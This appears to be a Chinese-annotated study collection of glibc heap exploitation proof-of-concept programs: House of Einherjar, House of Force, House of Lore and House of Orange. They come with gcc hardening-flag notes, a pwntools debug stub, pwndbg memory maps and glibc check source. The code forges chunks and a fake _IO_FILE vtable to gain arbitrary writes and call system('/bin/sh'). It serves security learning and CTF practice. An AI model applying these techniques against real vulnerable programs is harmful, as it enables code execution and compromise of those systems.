from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

pro = raw_input("py <Bin_Path>:   ")
pro=pro.replace("\n", "")
io = process([pro],env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()

CANNARY
gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c   //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码

FORTIFY
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出，就终止程序)

NX
gcc -o test test.c                  // 默认情况下，开启NX保护
gcc -z execstack -o test test.c     // 禁用NX保护
gcc -z noexecstack -o test test.c   // 开启NX保护

PIE
gcc -o test test.c              // 默认情况下，不开启PIE
gcc -fpie -pie -o test test.c       // 开启PIE，此时强度为1
gcc -fPIE -pie -o test test.c       // 开启PIE，此时为最高强度2
gcc -fpic -o test test.c        // 开启PIC，此时强度为1，不会开启PIE
gcc -fPIC -o test test.c        // 开启PIC，此时为最高强度2，不会开启PIE

RELRO
gcc -o test test.c                      // 默认情况下，是Partial RELRO
gcc -z norelro -o test test.c           // 关闭，即No RELRO
gcc -z lazy -o test test.c              // 部分开启，即Partial RELRO
gcc -z now -o test test.c               // 全部开启，即

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define       CHUNKSIZE               0x100
#define       FIRST_CHUNKSIZE         0x20
#define       SECOND_CHUNKSIZE        CHUNKSIZE
#define       THIRD_CHUNKSIZE         0x0

#define       INTERNAL_SIZE_T         size_t
#define       SIZE_SZ                 sizeof(INTERNAL_SIZE_T)

struct malloc_chunk {
    INTERNAL_SIZE_T         prev_size;
    INTERNAL_SIZE_T         size;
    struct malloc_chunk*    fd;
    struct malloc_chunk*    bk;
    struct malloc_chunk*    fd_nextsize;
    struct malloc_chunk*    bk_nextsize;
};

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
    // 第一个字节将被覆盖为空字节.
    char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
    // 防止调用 malloc_consolidate().
    char *p2 = malloc(THIRD_CHUNKSIZE);

    printf("House of Einherjar Poc\n\n");
    printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小，只需要保证不调用malloc_consolidate()\n");
    printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);

    printf("\n----------------\n");
    printf("在栈中伪造一个fakechunk\n");

    struct malloc_chunk fakechunk;
    fakechunk.size = 0;
    fakechunk.fd = &fakechunk;
    fakechunk.bk = &fakechunk;

    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);

    printf("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n");

    off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
    // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
    *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff;
    p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
    printf("** 溢出触发 **\n");
    // ----------------------------------------------

    printf("通过free(p1)触发合并\n");
    free(p1);

    printf("\n----------------\n");
    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);

    printf("\n控制fakechunk->size为合适的值 \n");
    fakechunk.size = CHUNKSIZE;

    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);
    printf("\n----------------\n");

    printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n",
    CHUNKSIZE - SIZE_SZ);
    char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
    printf("\t目标地址 = %p\n", where_you_want);

    return 0;
}

char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
    // 第一个字节将被覆盖为空字节.
    char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
    // 防止调用 malloc_consolidate().
    char *p2 = malloc(THIRD_CHUNKSIZE);

off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
    // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
    *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; //fakechunk与p1的偏移量
    p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\
  malloc_printerr ("corrupted size vs. prev_size");            \

fake_chunk2 = (struct malloc_chunk *)p0 + 1;

fake_chunk2->prev_size = sizeof(struct malloc_chunk);

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "这里是将要被覆写的字符串.";

int main(int argc , char* argv[])
{
    fprintf(stderr, "\nHouse of Force Poc\n\n");

    fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
    fprintf(stderr, "当前值为: %s\n", bss_var);

    fprintf(stderr, "\n申请第一个chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "大小为256 bytes 的chunk 在 %p 被申请.\n", p1 - 2);

    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "分配的块的实际大小是 %ld.\n", real_size + sizeof(long)*2);

    fprintf(stderr, "\n假设存在一个可溢出到 top chunk 的漏洞\n");

    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\ntop chunk 起始地址是 %p\n", ptr_top);

    fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
    fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

    fprintf(stderr, "\n接下来申请一个chunk，通过整数溢出指向该chunk");

    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n"
       "我们应该 malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);

    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "现在我们可覆写该字符串:\n");

    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... 使用 strcpy 覆写 \"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);
}

intptr_t *p1 = malloc(256);

*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);

void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");

if (__glibc_unlikely (size > av->system_mem))
    malloc_printerr ("malloc(): corrupted top size");

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct small_chunk {
  size_t prev_size;
  size_t size;
  struct small_chunk *fd;
  struct small_chunk *bk;
  char buf[0x64];               // 填充 smallbin size大小的chunk
};

int main() {
  struct small_chunk fake_chunk, another_fake_chunk;
  struct small_chunk *real_chunk;
  unsigned long long *ptr, *victim;
  int len;

  printf("House of lore Poc\n\n");

  printf("fake_chunk地址:  %p\n\n", &fake_chunk);
  len = sizeof(struct small_chunk);

  printf("申请两个small chunk，释放第一个，该块会并入unsorted bin\n");
  ptr = malloc(len);
  printf("第一块small chunk地址:  %p\n\n", ptr);

  printf("第二块大小可以为任意值，只是为了防止第一块free后与top chunk合并\n");
  printf("第二块small chunk地址:  %p\n\n", malloc(len));
  free(ptr);

  real_chunk = (struct small_chunk *)(ptr - 2);
  printf("第一块目前的地址:  %p\n\n", real_chunk);

  printf("再申请一个chunk，size大于之前chunk以防被分配到同一个位置\n");
  printf("之前free的chunk现在进入small bin\n");
  printf("第三块small chunk地址:  %p\n\n", malloc(len + 0x10));

  printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
  real_chunk->bk = &fake_chunk;

  printf("使fake_chunk的fd指针指向第一块small chunk\n");
  fake_chunk.fd = real_chunk;

  printf("绕过 \'victim->bk->fd == victim\' 检测\n");
  fake_chunk.bk = &another_fake_chunk;
  another_fake_chunk.fd = &fake_chunk;

  printf("重新申请第一块,地址为:  %p\n", malloc(len));

  victim = malloc(len);
  printf("再次申请得到fake_chunk,地址为  %p\n", victim);

  return 0;
}

ptr = malloc(len);
  printf("第一块small chunk地址:  %p\n\n", ptr);

  printf("第二块大小可以为任意值，只是为了防止第一块free后与top chunk合并\n");
  printf("第二块small chunk地址:  %p\n\n", malloc(len));

printf("第三块small chunk地址:  %p\n\n", malloc(len + 0x10));

printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;

printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;

printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;

printf("重新申请第一块,地址为:  %p\n", malloc(len));

victim = malloc(len);

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    fprintf(stderr,"House of orange Poc\n\n");

    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);
    fprintf(stderr,"首先申请一个chunk: p1 %p \n",p1);

    fprintf(stderr,"设置top chunk+size页面对齐，设置prev_inuse位\n\n");
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    fprintf(stderr,"申请一个size大于top chunk的块，使其调用sysmalloc和_init_free\n\n");
    p2 = malloc(0x1000);
    fprintf(stderr,"p2 %p \n", p2);

    fprintf(stderr,"chunk->bk->fd覆盖_IO_list_all指针\n\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr,"io_list_all现在指向chunk->bk->fd  %p \n", &io_list_all);
    fprintf(stderr,"当malloc分割时，chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");

    fprintf(stderr,"设置chunk->bk为_IO_list_all - 16\n");
    top[3] = io_list_all - 0x10;

    fprintf(stderr,"system将通过top指针被调用，使用用/bin/sh填充前8个字节，相当于system(/bin/sh)\n");
    memcpy( ( char *) top, "/bin/sh\x00", 8);

    fprintf(stderr,"将top chunk的size改小，使旧的top chunk被malloc分配到small bin[4]，指向伪文件指针的fd-ptr\n\n");
    top[1] = 0x61;

    fprintf(stderr,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
    _IO_FILE *fp = (_IO_FILE *) top;

    fprintf(stderr,"满足 fp->_mode <= 0\n" );
    fp->_mode = 0; // top+0xc0

    fprintf(stderr,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n");
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    fprintf(stderr,"设置跳板指向可控内存\n\n");
    size_t *jump_table = &top[12]; // 可控内存
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    fprintf(stderr,"malloc触发利用链\n");
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

p1 = malloc(0x400-16);

fprintf(stderr,"设置top chunk+size页面对齐，设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

malloc p2前

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x603000           0x624000 rw-p    21000 0      [heap]  <========= 0x603000-0x624000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]


malloc p2后

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x603000           0x646000 rw-p    43000 0      [heap]  <========= 0x603000-0x646000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

/* Send signal which possibly calls a user handler.  */
if (stage == 1)
{
  /* This stage is special: we must allow repeated calls of
 `abort' when a user defined handler for SIGABRT is installed.
 This is risky since the `raise' implementation might also
 fail but I don't see another possibility.  */
  int save_stage = stage;

  stage = 0;
  __libc_lock_unlock_recursive (lock);

  raise (SIGABRT);

  __libc_lock_lock_recursive (lock);
  stage = save_stage + 1;
}